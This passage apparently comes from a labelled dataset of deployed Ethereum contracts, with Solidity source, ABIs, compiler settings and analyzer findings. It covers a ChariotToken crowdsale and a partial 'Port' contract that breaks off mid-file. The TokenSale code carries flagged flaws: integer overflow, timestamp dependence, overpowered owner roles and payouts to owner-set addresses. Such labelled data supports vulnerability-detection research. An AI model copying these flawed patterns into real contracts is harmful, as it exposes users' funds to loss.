"SOLIDITY_VISIBILITY", "line": 293, "severity": 1}] | [{"inputs":[{"internalType":"uint256","name":"maxBatchSize_","type":"uint256"},{"internalType":"uint256","name":"collectionSize_","type":"uint256"},{"internalType":"uint256","name":"mintPrice_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"quantity","type":"uint256"}],"name":"devDream","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"quantity","type":"uint256"}],"name":"electricDream","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPerAddressDuringMint","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mintPrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"nextOwnerToExplicitlySet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"numberMinted","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"baseURI","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"showBaseURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawMoney","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.8.7+commit.e28d00a7 | true | 200 | 000000000000000000000000000000000000000000000000000000000000001400000000000000000000000000000000000000000000000000000000000015b3000000000000000000000000000000000000000000000000007c585087238000 | Default | MIT | false | ipfs://893ef86037db1fe5db1390729bc64be6bb5af3cea2018c4e112c4ce1d4d30bd2 |
||
ChariotToken | 0x6cec564ac99f75712a7f20b6ee98e884884b9278 | Solidity | pragma solidity ^0.4.19;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner{
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title
* @dev Very simple ERC20 Token that can be minted.
* It is meant to be used in a crowdsale contract.
*/
contract ChariotToken is StandardToken, Ownable {
string public constant name = "Chariot Coin";
string public constant symbol = "TOM";
uint8 public constant decimals = 18;
event Mint(address indexed to, uint256 amount);
event MintFinished();
event MintPaused(bool pause);
bool public mintingFinished = false;
bool public mintingPaused = false;
address public saleAgent = address(0);
modifier canMint() {
require(!mintingFinished);
_;
}
modifier unpauseMint() {
require(!mintingPaused);
_;
}
function setSaleAgent(address newSaleAgnet) public {
require(msg.sender == saleAgent || msg.sender == owner);
saleAgent = newSaleAgnet;
}
/**
* @dev Function to pause/unpause minting new tokens.
* @return True if minting was pause.
* @return False if minting was unpause
*/
function pauseMinting(bool _mintingPaused) canMint public returns (bool) {
require((msg.sender == saleAgent || msg.sender == owner));
mintingPaused = _mintingPaused;
MintPaused(_mintingPaused);
return _mintingPaused;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) canMint unpauseMint public returns (bool) {
require(msg.sender == saleAgent || msg.sender == owner);
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(this), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() canMint public returns (bool) {
require((msg.sender == saleAgent || msg.sender == owner));
mintingFinished = true;
MintFinished();
return true;
}
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(msg.sender == saleAgent || msg.sender == owner);
require(balances[_from] >= _value);// Check if the targeted balance is enough
require(_value <= allowed[_from][msg.sender]);// Check allowance
balances[_from] = balances[_from].sub(_value); // Subtract from the targeted balance
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); // Subtract from the sender's allowance
totalSupply = totalSupply.sub(_value);
Burn(_from, _value);
return true;
}
}
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/
contract TokenSale is Ownable{
using SafeMath for uint256;
// start and end timestamps where investments are allowed (both inclusive)
// The token being sold
ChariotToken public token;
uint256 public startTime;
uint256 public endTime;
uint256 public initialSupply = 37600000 * 1 ether;
// bool public checkDiscountStage = true;
uint256 limit;
uint256 period;
// address where funds are collected
address public wallet;
// one token per one rate, token default = 0.001 ETH = 1 TOM
uint256 public rate = 1000;
// Company addresses
address public TeamAndAdvisors;
address public Investors;
address public EADC;
address public Bounty;
// amount of raised money in wei
uint256 public weiRaised;
uint256 public weiSoftCap = 800 * 1 ether;
uint256 public weiHardCap = 1600 * 1 ether;
modifier saleIsOn() {
require(now > startTime && now < endTime);
require(weiRaised <= weiHardCap);
require(initialSupply >= token.totalSupply());
_;
}
uint256 discountStage1 = 60;
uint256 discountStage2 = 55;
uint256 discountStage3 = 50;
uint256 discountStage4 = 40;
function setDiscountStage(
uint256 _newDiscountStage1,
uint256 _newDiscountStage2,
uint256 _newDiscountStage3,
uint256 _newDiscountStage4
) onlyOwner public {
discountStage1 = _newDiscountStage1;
discountStage2 = _newDiscountStage2;
discountStage3 = _newDiscountStage3;
discountStage4 = _newDiscountStage4;
}
function setTime(uint _startTime, uint _endTime) public onlyOwner {
require(now < _endTime && _startTime < _endTime);
endTime = _endTime;
startTime = _startTime;
}
function setRate(uint _newRate) public onlyOwner {
rate = _newRate;
}
function setTeamAddress(
address _TeamAndAdvisors,
address _Investors,
address _EADC,
address _Bounty,
address _wallet) public onlyOwner {
TeamAndAdvisors = _TeamAndAdvisors;
Investors = _Investors;
EADC = _EADC;
Bounty = _Bounty;
wallet = _wallet;
}
function getDiscountStage() public view returns (uint256) {
if(now < startTime + 5 days) {
return discountStage1;
} else if(now >= startTime + 5 days && now < startTime + 10 days) {
return discountStage2;
} else if(now >= startTime + 10 days && now < startTime + 15 days) {
return discountStage3;
} else if(now >= startTime + 15 days && now < endTime) {
return discountStage4;
}
}
/**
* events for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event TokenPartners(address indexed purchaser, address indexed beneficiary, uint256 amount);
function TokenSale(
uint256 _startTime,
uint256 _endTime,
address _wallet,
uint256 _limit,
uint256 _period,
address _TeamAndAdvisors,
address _Investors,
address _Bounty,
address _EADC
) public {
require(_wallet != address(0));
require(_TeamAndAdvisors != address(0));
require(_Investors != address(0));
require(_EADC != address(0));
require(_Bounty != address(0));
require(_endTime > _startTime);
require(now < _startTime);
token = new ChariotToken();
startTime = _startTime;
endTime = _endTime;
wallet = _wallet;
limit = _limit * 1 ether;
period = _period;
TeamAndAdvisors = _TeamAndAdvisors;
Investors = _Investors;
EADC = _EADC;
Bounty = _Bounty;
token.setSaleAgent(owner);
}
function updatePrice() returns(uint256){
uint256 _days = now.sub(startTime).div(1 days); // days after startTime
return (_days % period).add(1).mul(rate); // rate in this period
}
function setLimit(uint256 _newLimit) public onlyOwner {
limit = _newLimit * 1 ether;
}
// @ value - tokens for sale
function isUnderLimit(uint256 _value) public returns (bool){
uint256 _days = now.sub(startTime).div(1 days); // days after startTime
uint256 coinsLimit = (_days % period).add(1).mul(limit); // limit coins in this period
return (msg.sender).balance.add(_value) <= coinsLimit;
}
function buyTokens(address beneficiary) saleIsOn public payable {
require(beneficiary != address(0));
uint256 weiAmount = msg.value;
uint256 all = 100;
uint256 tokens;
// calculate token amount to be created
tokens = weiAmount.mul(updatePrice()).mul(100).div(all.sub(getDiscountStage()));
// update state
weiRaised = weiRaised.add(weiAmount);
if(endTime.sub(now).div(1 days) > 5) {
require(isUnderLimit(tokens));
}
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
wallet.transfer(weiAmount.mul(30).div(100));
Investors.transfer(weiAmount.mul(65).div(100));
EADC.transfer(weiAmount.mul(5).div(100));
uint256 taaTokens = tokens.mul(27).div(100);
uint256 bountyTokens = tokens.mul(3).div(100);
token.mint(TeamAndAdvisors, taaTokens);
token.mint(Bounty, bountyTokens);
TokenPartners(msg.sender, TeamAndAdvisors, taaTokens);
TokenPartners(msg.sender, Bounty, bountyTokens);
}
// fallback function can be used to buy tokens
function () external payable {
buyTokens(msg.sender);
}
// @return true if tokensale event has ended
function hasEnded() public view returns (bool) {
return now > endTime;
}
} | [{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["509", "508", "507"]}, {"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["237"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["239", "241", "240", "42", "369"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["125"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["463", "478", "420", "422", "424", "426", "370", "350", "369"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["420", "422", "528", "424", "500", "426", "474", "373", "397", "458"]}] | null | [{"error": "Integer Overflow.", "line": 30, "level": "Warning"}] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 248, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 177, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 260, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 384, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 396, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 402, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 406, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 477, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 64, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 342, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 472, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 66, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 353, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 354, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 379, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 380, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 381, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 382, "severity": 1}] | [{"constant":true,"inputs":[],"name":"mintingFinished","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newSaleAgnet","type":"address"}],"name":"setSaleAgent","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_mintingPaused","type":"bool"}],"name":"pauseMinting","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_amount","type":"uint256"}],"name":"mint","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"uint256"}],"name":"burn","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_value","type":"uint256"}],"name":"burnFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"finishMinting","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"saleAgent","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"mintingPaused","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"anonymous":false,"inputs":[{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"Mint","type":"event"},{"anonymous":false,"inputs":[],"name":"MintFinished","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"pause","type":"bool"}],"name":"MintPaused","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"burner","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"},{"indexed":true,"name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"}] | v0.4.19+commit.c4cbbb05 | false | 200 | Default | false | bzzr://4c0d9574da12daaf76e0eef21104137c709c27bfd3e84c48101597e4f0dd7d70 |
||||
Port | 0x41374200d72e8f6a1e3f7afcd19bf14e29da9f78 | Solidity | pragma solidity ^0.5.2;
// File: openzeppelin-solidity/contracts/access/Roles.sol
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an account access to this role
*/
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
/**
* @dev remove an account's access to this role
*/
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
/**
* @dev check if an account has this role
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
// File: openzeppelin-solidity/contracts/access/roles/PauserRole.sol
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor () internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender));
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
// File: openzeppelin-solidity/contracts/lifecycle/Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
/**
* @return true if the contract is paused, false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
// File: contracts/FoundationOwnable.sol
contract FoundationOwnable is Pausable {
address public foundation;
event FoundationTransferred(address oldAddr, address newAddr);
constructor() public {
foundation = msg.sender;
}
modifier onlyFoundation() {
require(msg.sender == foundation, 'foundation required');
_;
}
function transferFoundation(address f) public onlyFoundation {
require(f != address(0), 'empty address');
emit FoundationTransferred(foundation, f);
_removePauser(foundation);
_addPauser(f);
foundation = f;
}
}
// File: contracts/TeleportOwnable.sol
contract TeleportOwnable {
address public teleport;
event TeleportTransferred(address oldAddr, address newAddr);
constructor() public {
teleport = msg.sender;
}
modifier onlyTeleport() {
require(msg.sender == teleport, 'caller not teleport');
_;
}
function transferTeleport(address f) public onlyTeleport {
require(f != address(0));
emit TeleportTransferred(teleport, f);
teleport = f;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
